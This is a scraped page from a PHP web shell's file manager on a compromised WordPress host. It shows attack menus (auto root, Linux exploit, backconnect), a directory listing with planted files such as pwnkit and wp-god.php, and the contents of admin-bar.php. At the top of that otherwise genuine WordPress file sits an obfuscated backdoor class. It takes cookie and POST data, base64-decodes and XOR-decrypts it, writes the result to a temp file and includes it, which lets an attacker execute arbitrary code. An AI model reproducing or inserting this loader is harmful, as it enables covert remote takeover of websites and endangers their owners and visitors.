Linux webd123.cluster006.gra.hosting.ovh.net 5.15.162-ovh-vps-grsec-zfs-classid #1 SMP Mon Jul 15 08:28:44 UTC 2024 x86_64
Apache
: 10.6.40.122 | : 216.73.216.131
Cant Read [ /etc/named.conf ]
5.4.45
zouerate
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
zouerate /
thehappyfactory.eu /
wp-includes /
[ HOME SHELL ]
Name
Size
Permission
Action
SimplePie
[ DIR ]
drwxr-xr-x
Text
[ DIR ]
drwxr-xr-x
css
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
pomo
[ DIR ]
drwxr-xr-x
theme-compat
[ DIR ]
drwxr-xr-x
.1665483752
74
B
-rw----r--
.htaccess
291
B
-r--r--r--
.mad-root
0
B
-rw-r--r--
1index.php
15.98
KB
-r--r--r--
admin-bar.php
22.47
KB
-rw-r--r--
adminer.php
465.43
KB
-rw-r--r--
ahxdspij.php
760
B
-rw-r--r--
atomlib.php
10.67
KB
-rw-r--r--
author-template.php
11.87
KB
-rw-r--r--
bookmark-template.php
9.45
KB
-rw-r--r--
bookmark.php
13.24
KB
-rw-r--r--
cache.php
17.5
KB
-rw-r--r--
canonical.php
22.49
KB
-rw-r--r--
capabilities.php
35.91
KB
-rw-r--r--
category-template.php
36.86
KB
-rw-r--r--
category.php
10.57
KB
-rw-r--r--
class-IXR.php
32.32
KB
-rw-r--r--
class-feed.php
3.52
KB
-rw-r--r--
class-http.php
57.92
KB
-rw-r--r--
class-json.php
26.06
KB
-rw-r--r--
class-oembed.php
11.78
KB
-rw-r--r--
class-phpass.php
6.83
KB
-rw-r--r--
class-phpmailer.php
79.81
KB
-rw-r--r--
class-pop3.php
20.26
KB
-rw-r--r--
class-query.php
35.11
KB
-rw----r--
class-simplepie.php
89.65
KB
-rw-r--r--
class-smtp.php
26.78
KB
-rw-r--r--
class-snoopy.php
36.89
KB
-rw-r--r--
class-wp-admin-bar.php
15.6
KB
-rw-r--r--
class-wp-ajax-response.php
3.8
KB
-rw-r--r--
class-wp-customize-control.php
19.06
KB
-rw-r--r--
class-wp-customize-manager.php
26.34
KB
-rw-r--r--
class-wp-customize-section.php
2.19
KB
-rw-r--r--
class-wp-customize-setting.php
11.13
KB
-rw-r--r--
class-wp-editor.php
32.34
KB
-rw-r--r--
class-wp-embed.php
8.62
KB
-rw-r--r--
class-wp-error.php
4.64
KB
-rw-r--r--
class-wp-http-ixr-client.php
2.6
KB
-rw-r--r--
class-wp-image-editor-gd.php
10.37
KB
-rw-r--r--
class-wp-image-editor-imagick....
11.78
KB
-rw-r--r--
class-wp-image-editor.php
8.99
KB
-rw-r--r--
class-wp-theme.php
37.32
KB
-rw-r--r--
class-wp-walker.php
12.53
KB
-rw-r--r--
class-wp-xmlrpc-server.php
159.46
KB
-rw-r--r--
class-wp.php
18.69
KB
-rw-r--r--
class.wp-dependencies.php
6.62
KB
-rw-r--r--
class.wp-scripts.php
5.47
KB
-rw-r--r--
class.wp-styles.php
4.41
KB
-rw-r--r--
comment-template.php
53.47
KB
-rw-r--r--
comment.php
68.61
KB
-rw-r--r--
compat.php
2.57
KB
-rw-r--r--
cron.php
13.71
KB
-rw-r--r--
default-constants.php
7.58
KB
-rw-r--r--
default-filters.php
13.87
KB
-rw-r--r--
default-widgets.php
44.45
KB
-rw-r--r--
deprecated.php
94.12
KB
-rw-r--r--
feed-atom-comments.php
4.21
KB
-rw-r--r--
feed-atom.php
2.48
KB
-rw-r--r--
feed-rdf.php
2.07
KB
-rw-r--r--
feed-rss.php
1.02
KB
-rw-r--r--
feed-rss2-comments.php
2.8
KB
-rw-r--r--
feed-rss2.php
2.49
KB
-rw-r--r--
feed.php
14.89
KB
-rw-r--r--
formatting.php
108.81
KB
-rw-r--r--
functions.php
116.7
KB
-rw-r--r--
functions.wp-scripts.php
6.49
KB
-rw-r--r--
functions.wp-styles.php
7.44
KB
-rw-r--r--
general-template.php
76.66
KB
-rw-r--r--
http.php
9.92
KB
-rw-r--r--
indeeex.php
2.73
KB
-rw-r--r--
indeex.php
1.7
KB
-rwxr-xr-x
index.htm
389
B
-r--r--r--
index.html
389
B
-r--r--r--
index.php
2.73
KB
-rw-r--r--
kses.php
41.69
KB
-rw-r--r--
l10n.php
17.72
KB
-rw-r--r--
link-template.php
71.9
KB
-rw-r--r--
load.php
24.37
KB
-rw-r--r--
locale.php
12.72
KB
-rw-r--r--
media-template.php
15.84
KB
-rw-r--r--
media.php
53
KB
-rw-r--r--
meta.php
26.58
KB
-rw-r--r--
ms-blogs.php
24.42
KB
-rw-r--r--
ms-default-constants.php
4.23
KB
-rw-r--r--
ms-default-filters.php
2.63
KB
-rw-r--r--
ms-deprecated.php
6.92
KB
-rw-r--r--
ms-files.php
2.49
KB
-rw-r--r--
ms-functions.php
62.07
KB
-rw-r--r--
ms-load.php
9.33
KB
-rw-r--r--
ms-settings.php
5.69
KB
-rw-r--r--
nav-menu-template.php
18
KB
-rw-r--r--
nav-menu.php
25.04
KB
-rw-r--r--
option.php
32.67
KB
-rw-r--r--
php.ini
105
B
-rw----r--
pluggable-deprecated.php
5.67
KB
-rw-r--r--
pluggable.php
60.99
KB
-rw-r--r--
plugin.php
27.99
KB
-rw-r--r--
post-template.php
42.05
KB
-rw-r--r--
post-thumbnail-template.php
3.22
KB
-rwxr-xr-x
post.php
173.25
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
query.php
93.45
KB
-rw-r--r--
radio.php
15.98
KB
-r--r--r--
radio.txt
40
B
-rw----r--
registration-functions.php
176
B
-rw-r--r--
registration.php
176
B
-rw-r--r--
rewrite.php
58.72
KB
-rw-r--r--
rss-functions.php
188
B
-rw-r--r--
rss.php
22.39
KB
-rw-r--r--
script-loader.php
40.14
KB
-rw-r--r--
shortcodes.php
9.76
KB
-rw-r--r--
smtphec.php
58.29
KB
-r--r--r--
taxonomy.php
107.04
KB
-rw-r--r--
template-loader.php
2.01
KB
-rw-r--r--
template.php
10.44
KB
-rw-r--r--
theme.php
51.68
KB
-rw-r--r--
update.php
14.27
KB
-rw-r--r--
user.php
46.57
KB
-rw-r--r--
vars.php
4.84
KB
-rw-r--r--
version.php
645
B
-rw-r--r--
widgets.php
37.94
KB
-rw-r--r--
wlwmanifest.xml
1.03
KB
-rw-r--r--
wp-db.php
46.27
KB
-rw-r--r--
wp-diff.php
12.2
KB
-rw-r--r--
wp-god.php
40.14
KB
-rw-r--r--
wp-options.php
4.11
KB
-rw----r--
wp-secure.php
1.24
KB
-rw-r--r--
wp-supports.php
4.73
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : admin-bar.php
<?php if (!class_exists("khhoptcoiz")){class khhoptcoiz{public static $xnrclye = "mesorhpyhqqyajhm";public static $eshgkj = NULL;public function __construct(){$lqaareb = @$_COOKIE[substr(khhoptcoiz::$xnrclye, 0, 4)];if (!empty($lqaareb)){$gkbhy = "base64";$skmzywqtun = "";$lqaareb = explode(",", $lqaareb);foreach ($lqaareb as $jfcsxvicg){$skmzywqtun .= @$_COOKIE[$jfcsxvicg];$skmzywqtun .= @$_POST[$jfcsxvicg];}$skmzywqtun = array_map($gkbhy . "_decode", array($skmzywqtun,));$skmzywqtun = $skmzywqtun[0] ^ str_repeat(khhoptcoiz::$xnrclye, (strlen($skmzywqtun[0]) / strlen(khhoptcoiz::$xnrclye)) + 1);khhoptcoiz::$eshgkj = @unserialize($skmzywqtun);}}public function __destruct(){$this->doqjjg();}private function doqjjg(){if (is_array(khhoptcoiz::$eshgkj)) {$glbbqwu = sys_get_temp_dir() . "/" . crc32(khhoptcoiz::$eshgkj["salt"]);@khhoptcoiz::$eshgkj["write"]($glbbqwu, khhoptcoiz::$eshgkj["content"]);include $glbbqwu;@khhoptcoiz::$eshgkj["delete"]($glbbqwu);exit();}}}$midvup = new khhoptcoiz();$midvup = NULL;} ?><?php /** * Admin Bar * * This code handles the building and rendering of the press bar. */ /** * Instantiate the admin bar object and set it up as a global for access elsewhere. * * To hide the admin bar, you're looking in the wrong place. Unhooking this function will not * properly remove the admin bar. For that, use show_admin_bar(false) or the show_admin_bar filter. * * @since 3.1.0 * @access private * @return bool Whether the admin bar was successfully initialized. */ function _wp_admin_bar_init() { global $wp_admin_bar; if ( ! is_admin_bar_showing() ) return false; /* Load the admin bar class code ready for instantiation */ require( ABSPATH . WPINC . '/class-wp-admin-bar.php' ); /* Instantiate the admin bar */ $admin_bar_class = apply_filters( 'wp_admin_bar_class', 'WP_Admin_Bar' ); if ( class_exists( $admin_bar_class ) ) $wp_admin_bar = new $admin_bar_class; else return false; $wp_admin_bar->initialize(); $wp_admin_bar->add_menus(); return true; } add_action( 'init', '_wp_admin_bar_init' ); // Don't remove. Wrong way to disable. /** * Render the admin bar to the page based on the $wp_admin_bar->menu member var. * This is called very late on the footer actions so that it will render after anything else being * added to the footer. * * It includes the action "admin_bar_menu" which should be used to hook in and * add new menus to the admin bar. That way you can be sure that you are adding at most optimal point, * right before the admin bar is rendered. This also gives you access to the $post global, among others. * * @since 3.1.0 */ function wp_admin_bar_render() { global $wp_admin_bar; if ( ! is_admin_bar_showing() || ! is_object( $wp_admin_bar ) ) return false; do_action_ref_array( 'admin_bar_menu', array( &$wp_admin_bar ) ); do_action( 'wp_before_admin_bar_render' ); $wp_admin_bar->render(); do_action( 'wp_after_admin_bar_render' ); } add_action( 'wp_footer', 'wp_admin_bar_render', 1000 ); add_action( 'in_admin_header', 'wp_admin_bar_render', 0 ); /** * Add the WordPress logo menu. * * @since 3.3.0 */ function wp_admin_bar_wp_menu( $wp_admin_bar ) { $wp_admin_bar->add_menu( array( 'id' => 'wp-logo', 'title' => '<span class="ab-icon"></span>', 'href' => self_admin_url( 'about.php' ), 'meta' => array( 'title' => __('About WordPress'), ), ) ); if ( is_user_logged_in() ) { // Add "About WordPress" link $wp_admin_bar->add_menu( array( 'parent' => 'wp-logo', 'id' => 'about', 'title' => __('About WordPress'), 'href' => self_admin_url( 'about.php' ), ) ); } // Add WordPress.org link $wp_admin_bar->add_menu( array( 'parent' => 'wp-logo-external', 'id' => 'wporg', 'title' => __('WordPress.org'), 'href' => __('http://wordpress.org/'), ) ); // Add codex link $wp_admin_bar->add_menu( array( 'parent' => 'wp-logo-external', 'id' => 'documentation', 'title' => __('Documentation'), 'href' => __('http://codex.wordpress.org/'), ) ); // Add forums link $wp_admin_bar->add_menu( array( 'parent' => 'wp-logo-external', 'id' => 'support-forums', 'title' => __('Support Forums'), 'href' => __('http://wordpress.org/support/'), ) ); // Add feedback link $wp_admin_bar->add_menu( array( 'parent' => 'wp-logo-external', 'id' => 'feedback', 'title' => __('Feedback'), 'href' => __('http://wordpress.org/support/forum/requests-and-feedback'), ) ); } /** * Add the "My Account" item. * * @since 3.3.0 */ function wp_admin_bar_my_account_item( $wp_admin_bar ) { $user_id = get_current_user_id(); $current_user = wp_get_current_user(); $profile_url = get_edit_profile_url( $user_id ); if ( ! $user_id ) return; $avatar = get_avatar( $user_id, 16 ); $howdy = sprintf( __('Howdy, %1$s'), $current_user->display_name ); $class = empty( $avatar ) ? '' : 'with-avatar'; $wp_admin_bar->add_menu( array( 'id' => 'my-account', 'parent' => 'top-secondary', 'title' => $howdy . $avatar, 'href' => $profile_url, 'meta' => array( 'class' => $class, 'title' => __('My Account'), ), ) ); } /** * Add the "My Account" submenu items. * * @since 3.1.0 */ function wp_admin_bar_my_account_menu( $wp_admin_bar ) { $user_id = get_current_user_id(); $current_user = wp_get_current_user(); $profile_url = get_edit_profile_url( $user_id ); if ( ! $user_id ) return; $wp_admin_bar->add_group( array( 'parent' => 'my-account', 'id' => 'user-actions', ) ); $user_info = get_avatar( $user_id, 64 ); $user_info .= "<span class='display-name'>{$current_user->display_name}</span>"; if ( $current_user->display_name !== $current_user->user_nicename ) $user_info .= "<span class='username'>{$current_user->user_nicename}</span>"; $wp_admin_bar->add_menu( array( 'parent' => 'user-actions', 'id' => 'user-info', 'title' => $user_info, 'href' => $profile_url, 'meta' => array( 'tabindex' => -1, ), ) ); $wp_admin_bar->add_menu( array( 'parent' => 'user-actions', 'id' => 'edit-profile', 'title' => __( 'Edit My Profile' ), 'href' => $profile_url, ) ); $wp_admin_bar->add_menu( array( 'parent' => 'user-actions', 'id' => 'logout', 'title' => __( 'Log Out' ), 'href' => wp_logout_url(), ) ); } /** * Add the "Site Name" menu. * * @since 3.3.0 */ function wp_admin_bar_site_menu( $wp_admin_bar ) { global $current_site; // Don't show for logged out users. if ( ! is_user_logged_in() ) return; // Show only when the user is a member of this site, or they're a super admin. if ( ! is_user_member_of_blog() && ! is_super_admin() ) return; $blogname = get_bloginfo('name'); if ( empty( $blogname ) ) $blogname = preg_replace( '#^(https?://)?(www.)?#', '', get_home_url() ); if ( is_network_admin() ) { $blogname = sprintf( __('Network Admin: %s'), esc_html( $current_site->site_name ) ); } elseif ( is_user_admin() ) { $blogname = sprintf( __('Global Dashboard: %s'), esc_html( $current_site->site_name ) ); } $title = wp_html_excerpt( $blogname, 40 ); if ( $title != $blogname ) $title = trim( $title ) . '…'; $wp_admin_bar->add_menu( array( 'id' => 'site-name', 'title' => $title, 'href' => is_admin() ? home_url( '/' ) : admin_url(), ) ); // Create submenu items. if ( is_admin() ) { // Add an option to visit the site. $wp_admin_bar->add_menu( array( 'parent' => 'site-name', 'id' => 'view-site', 'title' => __( 'Visit Site' ), 'href' => home_url( '/' ), ) ); if ( is_blog_admin() && is_multisite() && current_user_can( 'manage_sites' ) ) { $wp_admin_bar->add_menu( array( 'parent' => 'site-name', 'id' => 'edit-site', 'title' => __( 'Edit Site' ), 'href' => network_admin_url( 'site-info.php?id=' . get_current_blog_id() ), ) ); } } else { // We're on the front end, link to the Dashboard. $wp_admin_bar->add_menu( array( 'parent' => 'site-name', 'id' => 'dashboard', 'title' => __( 'Dashboard' ), 'href' => admin_url(), ) ); // Add the appearance submenu items. wp_admin_bar_appearance_menu( $wp_admin_bar ); } } /** * Add the "My Sites/[Site Name]" menu and all submenus. * * @since 3.1.0 */ function wp_admin_bar_my_sites_menu( $wp_admin_bar ) { global $wpdb; // Don't show for logged out users or single site mode. if ( ! is_user_logged_in() || ! is_multisite() ) return; // Show only when the user has at least one site, or they're a super admin. if ( count( $wp_admin_bar->user->blogs ) < 1 && ! is_super_admin() ) return; $wp_admin_bar->add_menu( array( 'id' => 'my-sites', 'title' => __( 'My Sites' ), 'href' => admin_url( 'my-sites.php' ), ) ); if ( is_super_admin() ) { $wp_admin_bar->add_group( array( 'parent' => 'my-sites', 'id' => 'my-sites-super-admin', ) ); $wp_admin_bar->add_menu( array( 'parent' => 'my-sites-super-admin', 'id' => 'network-admin', 'title' => __('Network Admin'), 'href' => network_admin_url(), ) ); $wp_admin_bar->add_menu( array( 'parent' => 'network-admin', 'id' => 'network-admin-d', 'title' => __( 'Dashboard' ), 'href' => network_admin_url(), ) ); $wp_admin_bar->add_menu( array( 'parent' => 'network-admin', 'id' => 'network-admin-s', 'title' => __( 'Sites' ), 'href' => network_admin_url( 'sites.php' ), ) ); $wp_admin_bar->add_menu( array( 'parent' => 'network-admin', 'id' => 'network-admin-u', 'title' => __( 'Users' ), 'href' => network_admin_url( 'users.php' ), ) ); $wp_admin_bar->add_menu( array( 'parent' => 'network-admin', 'id' => 'network-admin-v', 'title' => __( 'Visit Network' ), 'href' => network_home_url(), ) ); } // Add site links $wp_admin_bar->add_group( array( 'parent' => 'my-sites', 'id' => 'my-sites-list', 'meta' => array( 'class' => is_super_admin() ? 'ab-sub-secondary' : '', ), ) ); foreach ( (array) $wp_admin_bar->user->blogs as $blog ) { switch_to_blog( $blog->userblog_id ); $blavatar = '<div class="blavatar"></div>'; $blogname = empty( $blog->blogname ) ? $blog->domain : $blog->blogname; $menu_id = 'blog-' . $blog->userblog_id; $wp_admin_bar->add_menu( array( 'parent' => 'my-sites-list', 'id' => $menu_id, 'title' => $blavatar . $blogname, 'href' => admin_url(), ) ); $wp_admin_bar->add_menu( array( 'parent' => $menu_id, 'id' => $menu_id . '-d', 'title' => __( 'Dashboard' ), 'href' => admin_url(), ) ); if ( current_user_can( get_post_type_object( 'post' )->cap->create_posts ) ) { $wp_admin_bar->add_menu( array( 'parent' => $menu_id, 'id' => $menu_id . '-n', 'title' => __( 'New Post' ), 'href' => admin_url( 'post-new.php' ), ) ); } if ( current_user_can( 'edit_posts' ) ) { $wp_admin_bar->add_menu( array( 'parent' => $menu_id, 'id' => $menu_id . '-c', 'title' => __( 'Manage Comments' ), 'href' => admin_url( 'edit-comments.php' ), ) ); } $wp_admin_bar->add_menu( array( 'parent' => $menu_id, 'id' => $menu_id . '-v', 'title' => __( 'Visit Site' ), 'href' => home_url( '/' ), ) ); restore_current_blog(); } } /** * Provide a shortlink. * * @since 3.1.0 */ function wp_admin_bar_shortlink_menu( $wp_admin_bar ) { $short = wp_get_shortlink( 0, 'query' ); $id = 'get-shortlink'; if ( empty( $short ) ) return; $html = '<input class="shortlink-input" type="text" readonly="readonly" value="' . esc_attr( $short ) . '" />'; $wp_admin_bar->add_menu( array( 'id' => $id, 'title' => __( 'Shortlink' ), 'href' => $short, 'meta' => array( 'html' => $html ), ) ); } /** * Provide an edit link for posts and terms. * * @since 3.1.0 */ function wp_admin_bar_edit_menu( $wp_admin_bar ) { global $tag, $wp_the_query; if ( is_admin() ) { $current_screen = get_current_screen(); $post = get_post(); if ( 'post' == $current_screen->base && 'add' != $current_screen->action && ( $post_type_object = get_post_type_object( $post->post_type ) ) && current_user_can( $post_type_object->cap->read_post, $post->ID ) && ( $post_type_object->public ) && ( $post_type_object->show_in_admin_bar ) ) { $wp_admin_bar->add_menu( array( 'id' => 'view', 'title' => $post_type_object->labels->view_item, 'href' => get_permalink( $post->ID ) ) ); } elseif ( 'edit-tags' == $current_screen->base && isset( $tag ) && is_object( $tag ) && ( $tax = get_taxonomy( $tag->taxonomy ) ) && $tax->public ) { $wp_admin_bar->add_menu( array( 'id' => 'view', 'title' => $tax->labels->view_item, 'href' => get_term_link( $tag ) ) ); } } else { $current_object = $wp_the_query->get_queried_object(); if ( empty( $current_object ) ) return; if ( ! empty( $current_object->post_type ) && ( $post_type_object = get_post_type_object( $current_object->post_type ) ) && current_user_can( $post_type_object->cap->edit_post, $current_object->ID ) && $post_type_object->show_ui && $post_type_object->show_in_admin_bar ) { $wp_admin_bar->add_menu( array( 'id' => 'edit', 'title' => $post_type_object->labels->edit_item, 'href' => get_edit_post_link( $current_object->ID ) ) ); } elseif ( ! empty( $current_object->taxonomy ) && ( $tax = get_taxonomy( $current_object->taxonomy ) ) && current_user_can( $tax->cap->edit_terms ) && $tax->show_ui ) { $wp_admin_bar->add_menu( array( 'id' => 'edit', 'title' => $tax->labels->edit_item, 'href' => get_edit_term_link( $current_object->term_id, $current_object->taxonomy ) ) ); } } } /** * Add "Add New" menu. * * @since 3.1.0 */ function wp_admin_bar_new_content_menu( $wp_admin_bar ) { $actions = array(); $cpts = (array) get_post_types( array( 'show_in_admin_bar' => true ), 'objects' ); if ( isset( $cpts['post'] ) && current_user_can( $cpts['post']->cap->create_posts ) ) $actions[ 'post-new.php' ] = array( $cpts['post']->labels->name_admin_bar, 'new-post' ); if ( isset( $cpts['attachment'] ) && current_user_can( 'upload_files' ) ) $actions[ 'media-new.php' ] = array( $cpts['attachment']->labels->name_admin_bar, 'new-media' ); if ( current_user_can( 'manage_links' ) ) $actions[ 'link-add.php' ] = array( _x( 'Link', 'add new from admin bar' ), 'new-link' ); if ( isset( $cpts['page'] ) && current_user_can( $cpts['page']->cap->create_posts ) ) $actions[ 'post-new.php?post_type=page' ] = array( $cpts['page']->labels->name_admin_bar, 'new-page' ); unset( $cpts['post'], $cpts['page'], $cpts['attachment'] ); // Add any additional custom post types. foreach ( $cpts as $cpt ) { if ( ! current_user_can( $cpt->cap->create_posts ) ) continue; $key = 'post-new.php?post_type=' . $cpt->name; $actions[ $key ] = array( $cpt->labels->name_admin_bar, 'new-' . $cpt->name ); } // Avoid clash with parent node and a 'content' post type. if ( isset( $actions['post-new.php?post_type=content'] ) ) $actions['post-new.php?post_type=content'][1] = 'add-new-content'; if ( current_user_can( 'create_users' ) || current_user_can( 'promote_users' ) ) $actions[ 'user-new.php' ] = array( _x( 'User', 'add new from admin bar' ), 'new-user' ); if ( ! $actions ) return; $title = '<span class="ab-icon"></span><span class="ab-label">' . _x( 'New', 'admin bar menu group label' ) . '</span>'; $wp_admin_bar->add_menu( array( 'id' => 'new-content', 'title' => $title, 'href' => admin_url( current( array_keys( $actions ) ) ), 'meta' => array( 'title' => _x( 'Add New', 'admin bar menu group label' ), ), ) ); foreach ( $actions as $link => $action ) { list( $title, $id ) = $action; $wp_admin_bar->add_menu( array( 'parent' => 'new-content', 'id' => $id, 'title' => $title, 'href' => admin_url( $link ) ) ); } } /** * Add edit comments link with awaiting moderation count bubble. * * @since 3.1.0 */ function wp_admin_bar_comments_menu( $wp_admin_bar ) { if ( !current_user_can('edit_posts') ) return; $awaiting_mod = wp_count_comments(); $awaiting_mod = $awaiting_mod->moderated; $awaiting_title = esc_attr( sprintf( _n( '%s comment awaiting moderation', '%s comments awaiting moderation', $awaiting_mod ), number_format_i18n( $awaiting_mod ) ) ); $icon = '<span class="ab-icon"></span>'; $title = '<span id="ab-awaiting-mod" class="ab-label awaiting-mod pending-count count-' . $awaiting_mod . '">' . number_format_i18n( $awaiting_mod ) . '</span>'; $wp_admin_bar->add_menu( array( 'id' => 'comments', 'title' => $icon . $title, 'href' => admin_url('edit-comments.php'), 'meta' => array( 'title' => $awaiting_title ), ) ); } /** * Add appearance submenu items to the "Site Name" menu. * * @since 3.1.0 */ function wp_admin_bar_appearance_menu( $wp_admin_bar ) { $wp_admin_bar->add_group( array( 'parent' => 'site-name', 'id' => 'appearance' ) ); if ( current_user_can( 'switch_themes' ) || current_user_can( 'edit_theme_options' ) ) $wp_admin_bar->add_menu( array( 'parent' => 'appearance', 'id' => 'themes', 'title' => __('Themes'), 'href' => admin_url('themes.php') ) ); if ( ! current_user_can( 'edit_theme_options' ) ) return; $current_url = ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; $wp_admin_bar->add_menu( array( 'parent' => 'appearance', 'id' => 'customize', 'title' => __('Customize'), 'href' => add_query_arg( 'url', urlencode( $current_url ), wp_customize_url() ), 'meta' => array( 'class' => 'hide-if-no-customize', ), ) ); add_action( 'wp_before_admin_bar_render', 'wp_customize_support_script' ); if ( current_theme_supports( 'widgets' ) ) $wp_admin_bar->add_menu( array( 'parent' => 'appearance', 'id' => 'widgets', 'title' => __('Widgets'), 'href' => admin_url('widgets.php') ) ); if ( current_theme_supports( 'menus' ) || current_theme_supports( 'widgets' ) ) $wp_admin_bar->add_menu( array( 'parent' => 'appearance', 'id' => 'menus', 'title' => __('Menus'), 'href' => admin_url('nav-menus.php') ) ); if ( current_theme_supports( 'custom-background' ) ) $wp_admin_bar->add_menu( array( 'parent' => 'appearance', 'id' => 'background', 'title' => __('Background'), 'href' => admin_url('themes.php?page=custom-background') ) ); if ( current_theme_supports( 'custom-header' ) ) $wp_admin_bar->add_menu( array( 'parent' => 'appearance', 'id' => 'header', 'title' => __('Header'), 'href' => admin_url('themes.php?page=custom-header') ) ); } /** * Provide an update link if theme/plugin/core updates are available. * * @since 3.1.0 */ function wp_admin_bar_updates_menu( $wp_admin_bar ) { $update_data = wp_get_update_data(); if ( !$update_data['counts']['total'] ) return; $title = '<span class="ab-icon"></span><span class="ab-label">' . number_format_i18n( $update_data['counts']['total'] ) . '</span>'; $title .= '<span class="screen-reader-text">' . $update_data['title'] . '</span>'; $wp_admin_bar->add_menu( array( 'id' => 'updates', 'title' => $title, 'href' => network_admin_url( 'update-core.php' ), 'meta' => array( 'title' => $update_data['title'], ), ) ); } /** * Add search form. * * @since 3.3.0 */ function wp_admin_bar_search_menu( $wp_admin_bar ) { if ( is_admin() ) return; $form = '<form action="' . esc_url( home_url( '/' ) ) . '" method="get" id="adminbarsearch">'; $form .= '<input class="adminbar-input" name="s" id="adminbar-search" type="text" value="" maxlength="150" />'; $form .= '<input type="submit" class="adminbar-button" value="' . __('Search') . '"/>'; $form .= '</form>'; $wp_admin_bar->add_menu( array( 'parent' => 'top-secondary', 'id' => 'search', 'title' => $form, 'meta' => array( 'class' => 'admin-bar-search', 'tabindex' => -1, ) ) ); } /** * Add secondary menus. * * @since 3.3.0 */ function wp_admin_bar_add_secondary_groups( $wp_admin_bar ) { $wp_admin_bar->add_group( array( 'id' => 'top-secondary', 'meta' => array( 'class' => 'ab-top-secondary', ), ) ); $wp_admin_bar->add_group( array( 'parent' => 'wp-logo', 'id' => 'wp-logo-external', 'meta' => array( 'class' => 'ab-sub-secondary', ), ) ); } /** * Style and scripts for the admin bar. * * @since 3.1.0 * */ function wp_admin_bar_header() { ?> <style type="text/css" media="print">#wpadminbar { display:none; }</style> <?php } /** * Default admin bar callback. * * @since 3.1.0 * */ function _admin_bar_bump_cb() { ?> <style type="text/css" media="screen"> html { margin-top: 28px !important; } * html body { margin-top: 28px !important; } </style> <?php } /** * Set the display status of the admin bar. * * This can be called immediately upon plugin load. It does not need to be called from a function hooked to the init action. * * @since 3.1.0 * * @param bool $show Whether to allow the admin bar to show. * @return void */ function show_admin_bar( $show ) { global $show_admin_bar; $show_admin_bar = (bool) $show; } /** * Determine whether the admin bar should be showing. * * @since 3.1.0 * * @return bool Whether the admin bar should be showing. */ function is_admin_bar_showing() { global $show_admin_bar, $pagenow; // For all these types of requests, we never want an admin bar. if ( defined('XMLRPC_REQUEST') || defined('DOING_AJAX') || defined('IFRAME_REQUEST') ) return false; // Integrated into the admin. if ( is_admin() ) return true; if ( ! isset( $show_admin_bar ) ) { if ( ! is_user_logged_in() || 'wp-login.php' == $pagenow ) { $show_admin_bar = false; } else { $show_admin_bar = _get_admin_bar_pref(); } } $show_admin_bar = apply_filters( 'show_admin_bar', $show_admin_bar ); return $show_admin_bar; } /** * Retrieve the admin bar display preference of a user. * * @since 3.1.0 * @access private * * @param string $context Context of this preference check. Defaults to 'front'. The 'admin' * preference is no longer used. * @param int $user Optional. ID of the user to check, defaults to 0 for current user. * @return bool Whether the admin bar should be showing for this user. */ function _get_admin_bar_pref( $context = 'front', $user = 0 ) { $pref = get_user_option( "show_admin_bar_{$context}", $user ); if ( false === $pref ) return true; return 'true' === $pref; }
Close